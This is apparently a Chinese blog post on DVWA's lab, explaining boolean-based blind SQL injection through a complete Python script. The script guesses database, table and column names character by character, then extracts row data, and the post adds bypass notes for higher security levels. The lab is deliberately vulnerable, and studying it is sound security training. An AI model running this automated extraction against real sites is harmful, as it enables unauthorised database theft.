DVWA(七) - 使用python脚本实现SQL盲注

2023-10-30

SQL Injection (Blind)

sql盲注其实就是sql注入的一种,但是不会根据sql注入的攻击语句返回你想要知道的信息.
盲注分为两种:
布尔盲注以及时间盲注
布尔盲注:

根据你的注入信息返回True和Fales,而返回的True和Fales可能有不同的表现形式,根据不同的网页分析.

时间盲注:

当界面的返回值只有一种true的时候,就需要加入特定的时间函数,通过判断加载web页面的时间差来确定注入的语句是否是正确的.

盲注的过程:

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名 -> 猜解数据库的长度 -> 猜解数据库的名称
3.猜解数据录中的表名 -> 猜解库中有几个表 -> 猜解表的长度 -> 猜解表的名称
4.猜解表中的字段名 -> 猜解表中有几个字段 -> 猜解字段的长度 -> 猜解字段的名称
5.猜解数据

环境: dvwa搭建在win7 x64系统,IP为:192.168.157.137.
界面:
在这里插入图片描述

输入正确时:
在这里插入图片描述

输出错误时:
在这里插入图片描述
相当于是返回运行结果是true还是fales,布尔盲注和时间盲注都是可以的,这里我们使用布尔型的盲注.
基于以上情况,为了更好的理解盲注,编写了一个盲注的脚本,还请各位大佬指点.

注:
该脚本是基于Low级别所写,想要在medium级别下运行,需要修改头部信息以及上传的参数.
high级别预防了自动化工具的使用,所以无法使用脚本.
并且该脚本是建立在目标服务器使用的mysql 5.0版本以上的数据库才行,因为有information_schema库,否则就需要使用大量的字典匹配.

脚本主体

我会将脚本的每个阶段的都大致解释一下,在最下面放置脚本的完整版.

用来构建header头部信息,以及得到requests中的url参数

def get_header():
    print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
    url = input()
    ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()
    
    cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
    headers={
        'Host': f'{ip}',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': f'{url}',
        'Connection': 'close',
        'Cookie': f'security=low; PHPSESSID={cookie}',
        'Upgrade-Insecure-Requests':'1'
    }
    return headers,url

访问构建好的url,并且判断结果是True还是Fales

def judge(text):
    try:
        if 'exists' in  re.search('User ID.*?database',text).group():
            return 1
        else :
            return 0 
    except:
        return 0
def low_res(sql):
    Id = f'?id={sql}&Submit=Submit#'
    #print(url+Id)
    r = requests.get(url+Id,headers=headers).text
    #print(r)
    return judge(r)

判断网站是否存在注入点:

    print('<-- 判断该网页是否存在注入点-->')
    print("注入语句 ---> 1' and '1'='1 , 1' and '1'='2")
    if low_res("1' and '1'='1") != low_res("1' and '1'='2") :
        print('此处存在注入点,并且注入类型为字符型')
    elif low_res("1 and 1=1") != low_res("1 and 1=2"):
        print('此处存在注入点,并且注入类型为数字型')
    else:
        print('不存在注入,退出')
        quit()

判断数据库名的长度.

	print('<-- 猜解数据库名的长度-->')
    print("注入语句 ---> 1' and length(database())=1# ")
    for i in range(10):
        sql = f"1%27+and+length(database())%3D{i}%23"
        if low_res(sql) == 1:
            databasename_num = i
            break
    print(f'数据库名称长度为: {databasename_num}')

猜解数据库名,这里使用substr函数遍历数据库名中的每一个字母,与ascii码进行匹配,匹配成功则返回true

	print('<-- 猜解数据库名称 -->')
    print("注入语句 ---> 1' and ascii(substr(database(),1,1))>97# ")
    database_name=''
    for i in range(databasename_num):
        for j in range(65,123):
            sql = f"1'+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                database_name += chr(j)
                break
    print(f'数据库名称为:{database_name}\n\n')

接下来就应该判断该数据库有几张表

	print('<-- 猜解库中有几张表 -->')
    print("注入语句 ---> 1' and (select count(table_name) from information_schema.tables where table_schema='[database_name]')=1# ")
    for i in range(9999):
        sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{database_name}')%3D{i}%23"
        if low_res(sql) == 1:
            print(f'该库中有{i}张表\n\n')
            table_num = i
            break

使用count函数计算该库中有几张表,并且因为python中的for循环的运行速度是快过完全使用python写出来的while循环的,所以我习惯是使用for循环.


为了得到所有的表名,需要先知道每个表的字段名长度.

  	print('<--猜解每一列的长度-->')
    print("注入语句 --->   1' and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=1#")

    lie_lenth = []
    for i in range(lie_num):
        for j in range(9999):
            sql = f"1'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                lie_lenth.append(j)
                break

在得到字段长度之后,就可以与ascii码进行对比得到所有的表名

	print('<--猜解每一列的名称-->')
    print("注入语句 --->   1' and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=97#")

    lie_name = ''
    lie_name_list = []
    for i in range(len(lie_lenth)):
        for j in range(lie_lenth[i]):
            for g in range(65,123):
                sql=f"1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C{j+1}))%3D{g}%23"
                if low_res(sql) == 1:
                    lie_name += chr(g)
                    print(chr(g),end = '')
                    break
        print('')
        lie_name_list.append(lie_name)
        lie_name = ''
    print(f'该库中的表名为:',end='')
    #print(lie_name_list)
    list(map(lambda i:print(i,end='  '),[i for i in lie_name_list]))

需要理解清楚substr和LIMIT函数的用法.


在做完这一切之后,我觉得实在是太麻烦,先要确定有几个字段,然后在确定每个字段的长度,最后才可以与ascii进行对比得到结果,所以我就想,每一个字段与每一个字段之间是否有什么比较特殊的字符,结束的时候又有什么标志位,如果解决了这两个问题,那么写脚本就可以依次获得库名,表名,列名以及最终的数据.

在多次尝试之后,我发现

譬如说 查到的结果为 1 2 3 4 5 6,则123456之间的ascii码为0,也就是NULL,如果数据本身就为空呢?那么可以判断是否是值+NULL,如果是,则跳转到下一个值,如果不是,则证明此处的值为NULL.
6之后是什么呢?不知道,但是ascii码中没有可以匹配上的,所以如果循环了一遍仍然没有匹配上,则证明这次查询已经结束.

循环结束的标志已经找到,所以可以直接得到表内的数据.
代码:

    print('<--得到数据-->')
    print("注入语句 --->   1' and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#")

    data = {}

    for xxx in range(999):
        a = input('退出请输入q,选择表请回车')
        if a == 'q':
            break
        else:
            list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(lie_name_list)]))
            lie_name = [x for x in lie_name_list][int(input('请选择查看哪个表的数据:'))]
            res = ''
            huancun = []
            for i in range(9999):
                for j in range(1,9999):
                    for g in range(128):
                        NULL=0
                        ascii_wu = 0
                        sql = f"1'+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23"
                        if low_res(sql) == 1:
                            if g == 0:
                                NULL = 1
                                if res=='':
                                	res == 'NULL'
                                break
                            res += chr(g)
                            print(chr(g),end = '')
                            break
                    else:
                         ascii_wu = 1
                    if NULL == 1 or ascii_wu == 1:
                        break
                if ascii_wu == 1:
                    break
                huancun.append(res)
                res = ''
                print()
            data[lie_name] = huancun

data中存放着所有查询到的数据,以表格形式输出.

    for i in data.keys():
        print(f'\t{i}\t',end = '')
    print()
    data_list = list(data.values())
    for i in range(len((data_list)[0])):
        for j in range(len(data_list)):
            print(f'\t{data_list[j][i]}\t',end = '')
        print()

主体函数以及一些自己的理解:

if __name__ == '__main__':
    headers,url = get_header()
    sql_attack(headers,url)


    print('''
Low        --> 没什么过滤,直接走一遍盲注的过程就好
Medium    --> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好
               GET变成POST     解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header)
                                                                            |
                                                                            V
                                                                        sql注入语句在这里
               字符型改为数字型                                    解决 -> 修改sql语句,将1'改为1
               使用mysqli_real_escape_string函数过滤'"等特殊字符    解决 -> 16进制代替 
High       -->  LIMIT限制       解决 -> 最后加# 注释掉就ok    
                点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响
                随机时间等待,防止使用sleep注入,布尔型不影响

Impossible -->  添加PDO,无懈可击

    ''')

所有代码如下

import requests,re

def get_header():
    print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
    url = input()
    ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()
    
    cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
    headers={
        'Host': f'{ip}',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': f'{url}',
        'Connection': 'close',
        'Cookie': f'security=low; PHPSESSID={cookie}',
        'Upgrade-Insecure-Requests':'1'
    }
    return headers,url



def judge(text):
    try:
        if 'exists' in  re.search('User ID.*?database',text).group():
            return 1
        else :
            return 0 
    except:
        return 0




def low_res(sql):
    Id = f'?id={sql}&Submit=Submit#'
    #print(url+Id)
    r = requests.get(url+Id,headers=headers).text
    #print(r)
    return judge(r)




def sql_attack(headers,url):
    print('<-- 判断该网页是否存在注入点-->')
    print("注入语句 ---> 1' and '1'='1 , 1' and '1'='2")
    if low_res("1' and '1'='1") != low_res("1' and '1'='2") :
        print('此处存在注入点,并且注入类型为字符型')
    elif low_res("1 and 1=1") != low_res("1 and 1=2"):
        print('此处存在注入点,并且注入类型为数字型')
    else:
        print('不存在注入,退出')
        quit()
    print('\n'*2)

    print('<-- 猜解数据库名的长度-->')
    print("注入语句 ---> 1' and length(database())=1# ")
    for i in range(10):
        sql = f"1%27+and+length(database())%3D{i}%23"
        if low_res(sql) == 1:
            databasename_num = i
            break
    print(f'数据库名称长度为: {databasename_num}')
    print('\n'*2)

    print('<-- 猜解数据库名称 -->')
    print("注入语句 ---> 1' and ascii(substr(database(),1,1))>97# ")
    database_name=''
    for i in range(databasename_num):
        for j in range(65,123):
            sql = f"1'+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                database_name += chr(j)
                break
    print(f'数据库名称为:{database_name}\n\n')

    print('<-- 猜解库中有几张表 -->')
    print("注入语句 ---> 1' and (select count(table_name) from information_schema.tables where table_schema='[database_name]')=1# ")
    for i in range(9999):
        sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{database_name}')%3D{i}%23"
        if low_res(sql) == 1:
            print(f'该库中有{i}张表\n\n')
            table_num = i
            break

    print('<--猜解库中所有的表长度-->')
    print("注入语句 --->  1' and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#")
    table_lenth = []
    for i in range(table_num):
        for j in range(9999):
            sql = f"1'+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'{database_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                table_lenth.append(j)    
                break
    print(f'该库中的表长度为:',end='')
    list(map(lambda i:print(i,end='  '),[i for i in table_lenth]))
    print('\n'*2)

    table_name = ''
    table_name_list = []
    print('<--猜解所有的表名-->')
    print("注入语句 --->   1' and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#")

    for i in range(len(table_lenth)):
        for j in range(table_lenth[i]):
            for g in range(65,123):
                sql=f"1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'{database_name}'+limit+{i}%2C1)%2C{j+1}))={g}%23"
                if low_res(sql) == 1:
                    table_name += chr(g)
                    print(chr(g),end='')
                    break
        table_name_list.append(table_name)
        table_name = ''
        print('')
    print(f'该库中的表名为:',end='')
    list(map(lambda i:print(i,end='  '),[i for i in table_name_list]))
    print('\n'*2)


    print('<--猜解表中列数-->')
    print("注入语句 --->   1' and (select count(column_name) from information_schema.columns where table_name=[table_name])=1#")
    list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(table_name_list)]))
    table_name = [x for x in table_name_list][int(input('请选择查看哪个表的数据:'))]

    for i in range(9999):
        sql = f"1'+and+(select+count(column_name)+from+information_schema.columns+where+table_name%3D'{table_name}')%3D{i}%23"
        if low_res(sql) == 1:
            print(f'该表中有{i}列\n\n')
            lie_num = i
            break

    print('<--猜解每一列的长度-->')
    print("注入语句 --->   1' and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=1#")

    lie_lenth = []
    for i in range(lie_num):
        for j in range(9999):
            sql = f"1'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                lie_lenth.append(j)
                break


    #print(lie_lenth)
    print(f'该表中每列的长度为:',end='')
    list(map(lambda i:print(i,end=' '),[i for i in lie_lenth]))
    print('\n'*2)

    print('<--猜解每一列的名称-->')
    print("注入语句 --->   1' and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=97#")


    lie_name = ''
    lie_name_list = []
    for i in range(len(lie_lenth)):
        for j in range(lie_lenth[i]):
            for g in range(65,123):
                sql=f"1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C{j+1}))%3D{g}%23"
                if low_res(sql) == 1:
                    lie_name += chr(g)
                    print(chr(g),end = '')
                    break
        print('')
        lie_name_list.append(lie_name)
        lie_name = ''
    print(f'该库中的表名为:',end='')
    #print(lie_name_list)
    list(map(lambda i:print(i,end='  '),[i for i in lie_name_list]))
    print('\n'*2)


    print('<--得到数据-->')
    print("注入语句 --->   1' and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#")

    data = {}

    for xxx in range(999):
        a = input('退出请输入q,选择表请回车')
        if a == 'q':
            break
        else:
            list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(lie_name_list)]))
            lie_name = [x for x in lie_name_list][int(input('请选择查看哪个表的数据:'))]
            res = ''
            huancun = []
            for i in range(9999):
                for j in range(1,9999):
                    for g in range(128):
                        NULL=0
                        ascii_wu = 0
                        sql = f"1'+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23"
                        if low_res(sql) == 1:
                            if g == 0:
                                NULL = 1
                                if res=='':
                                	res == 'NULL'
                                break
                            res += chr(g)
                            print(chr(g),end = '')
                            break
                    else:
                         ascii_wu = 1
                    if NULL == 1 or ascii_wu == 1:
                        break
                if ascii_wu == 1:
                    break
                huancun.append(res)
                res = ''
                print()
            data[lie_name] = huancun


    for i in data.keys():
        print(f'\t{i}\t',end = '')
    print()
    data_list = list(data.values())
    for i in range(len((data_list)[0])):
        for j in range(len(data_list)):
            print(f'\t{data_list[j][i]}\t',end = '')
        print()
        

        
if __name__ == '__main__':
    headers,url = get_header()
    sql_attack(headers,url)


    print('''
Low        --> 没什么过滤,直接走一遍盲注的过程就好
Mmedium    --> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好
               GET变成POST     解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header)
                                                                            |
                                                                            V
                                                                        sql注入语句在这里
               字符型改为数字型                                    解决 -> 修改sql语句,将1'改为1
               使用mysqli_real_escape_string函数过滤'"等特殊字符    解决 -> 16进制代替 
High       -->  LIMIT限制       解决 -> 最后加# 注释掉就ok    
                点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响
                随机时间等待,防止使用sleep注入,布尔型不影响

Impossible -->  添加PDO,无懈可击

    ''')
    

运行截图:
在这里插入图片描述最终结果:
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

DVWA(七) - 使用python脚本实现SQL盲注 的相关文章

随机推荐

  • 傅里叶描述子欧氏距离_基于旋转轮廓的点云局部浮点型和二值化特征描述(RCS)...

    作者 小毛 Date 2020 05 19 来源 基于旋转轮廓的点云局部浮点型和二值化特征描述 RCS 本次介绍一个发表于Computer Vision and Image Understanding的经典三维点云描述子RCS 论文地址 J
  • 第10节-函数三(高阶函数/匿名函数/闭包/装饰器)

    第10节 函数三 高阶函数 匿名函数 闭包 装饰器 一 高阶函数 二 匿名函数 1 过滤器 2 匿名函数 lambda函数 三 闭包 四 装饰器 一 高阶函数 满足下列特点之一的函数称之为高阶函数 特点1 接收一个或者多个函数作为参数 特点
  • node-formidable源码:原生javascript解析前端传输的FormData

    本系列文章是本人学习相关知识时所积累的笔记 以记录自己的学习历程 也为了方便回顾知识 故文章内容较为随意简练 抱着学习目的来的同学务必转移他处 以免我误人子弟 参考资料 酷勤网 在Koa和Express中 已经通过node formidab
  • css 实现三角形阴影

    平时工作中 设计给出的类似于对话框的样式 基本上都会有阴影 这个时候一般都是有两种方式实现 一是用背景图 二是用代码实现 如图样式 这里只说使用代码来实现
  • kmeans算法实现及获取anchors

    kmeans算法网上资料很多 其原理简单来说就选取k个聚类中心 然后把剩余的点归类到与其相距最近的聚类中心 是一种无监督算法 缺点和不足有两个 第一个是k需要指定 第二个是对于聚类中心种子点的选取很敏感 本文将以yolov4算法使用kmea
  • Python 基础教程——语法

    前言 Python 语言与 Perl C 和 Java 等语言有许多相似之处 但是 也存在一些差异 这次我们将来学习 Python 的基础语法 让你快速学会 Python 编程 第一个 Python 程序 交互式编程 交互式编程不需要创建脚
  • RocketMQ第四节(部署模式、监控面板等)

    1 mq的部署模式 部署方式 RocketMQ 参考官网 单机模式 抗风险能力差 单机挂机没服务 单机硬盘损坏 丢失数据 多机 多master没有Slave副本 多个master采用RAID10磁盘 不会丢失数据 但是某一个master关闭
  • Unity - BRP - PP后效导致 Camera.targetTexture 被换掉,graphicsFormat 不对问题

    文章目录 环境 目的 原因 问题 解决方法 环境 Unity 国际版2020 3 37f1 Pipeline BRP Packages Post Processing 3 0 3 目的 BRP 虽然是 官方放弃更新的 渲染管线 但是有些项目
  • java--基础--17.8--线程--wait方法与sleep方法区别

    java 基础 17 8 线程 wait方法与sleep方法区别 1 介绍 wait 线程间的通讯的问题 需要等待别的线程唤醒 sleep 自己控制线程的运行状态 隔了一段时间自动醒过来 wait 方法释放了锁 sleep 方法没有释放锁
  • 高斯分布(正态分布)详解

    高斯分布 一 概念 二 详解和例子说明 三 判断数据是否服从高斯分布 四 高斯分布实际应用 一 概念 定义 随机变量X服从一个数学期望 mu 方差为 sigma 的高斯分布 又名正态分布 当 0 1时的正
  • c, cs, vala 性能简单测试

    分别用c cs 和 vala 完成同样的运算 Code include
  • matlab sum函数_Matlab: 如何对矩阵的部分行/列求和

    Matlab里的sum函数可以用于求和 先简单来介绍一下sum函数 对一个矩阵A而言 1 sum A all 对矩阵A的所有元素进行求和 返回的是一个标量 2 sum A 1 对矩阵A的每一列进行求和 返回的是一个行向量 3 sum A 2
  • 哈工大2020软件构造Lab4实验报告

    为了鄙视代写 抄袭 伸手党 删除了一些 容易抄袭 的部分 有问题 询问省略部分 欢迎QQ交流 本项目于5 19日实验课完成 该更新的 更新完成 如果有所参考 请点点关注 点点赞GitHub Follow一下谢谢 2020春计算机学院 软件构
  • Python安装教程

    本文主要介绍Windows下Python的安装步骤 1 打开官网www python org 选择Downloads 进入下载界面 2 选择需要下载的Python版本号 点击Download 我选择的Python版本为3 9 6 3 点击D
  • 计算机考研复试操作系统题库

    文章目录 1 什么是操作系统 操作系统的主要功能是 它的主要特征是什么 重点 2 进程与线程的关系以及区别 重点 3 Windows下的内存是如何管理的 简单了解即可 4 中断和轮询的特点 5 什么是临界区 如何解决冲突 什么叫临界资源 6
  • JDBC基础

    1 JDBC概述 在开发中我们使用的是java语言 那么势必要通过java语言操作数据库中的数据 1 1 JDBC概念 JDBC 就是使用Java语言操作关系型数据库的一套API 全称 Java DataBase Connectivity
  • 踏浪点神:新手该如何避免频繁重仓交易?

    期货市场中最忌讳的就是让情绪影响交易 但很多人却又很难避免这一点 其中表现最为突出的就是频繁操作了 自信地以为 多劳多得 近乎疯狂地买卖 满脑子的愤怒都急切地想要通过 自杀 的方式得以宣泄 这就是所谓的 交易失控 大多数人在事后冷静下来了都
  • K8S内容分发网络之集群,nginx,负载均衡,防火墙

    目录 第一章 实验架构需求 第二章 实验环境准备 2 1 节点准备 2 2 环境准备 2 3 在master node01 node02上操作安装docker 2 4 所有节点安装kubeadm kubelet和kubectl 2 5 部署
  • 使用dplyr包中的rename函数重命名R语言数据框中的指定列

    使用dplyr包中的rename函数重命名R语言数据框中的指定列 在R语言中 dplyr包提供了一组功能强大且易于使用的函数 用于对数据进行操作和转换 其中 rename函数可以用于重命名数据框中的指定列 本文将介绍如何使用dplyr包中的
  • DVWA(七) - 使用python脚本实现SQL盲注

    SQL Injection Blind sql盲注其实就是sql注入的一种 但是不会根据sql注入的攻击语句返回你想要知道的信息 盲注分为两种 布尔盲注以及时间盲注 布尔盲注 根据你的注入信息返回True和Fales 而返回的True和Fa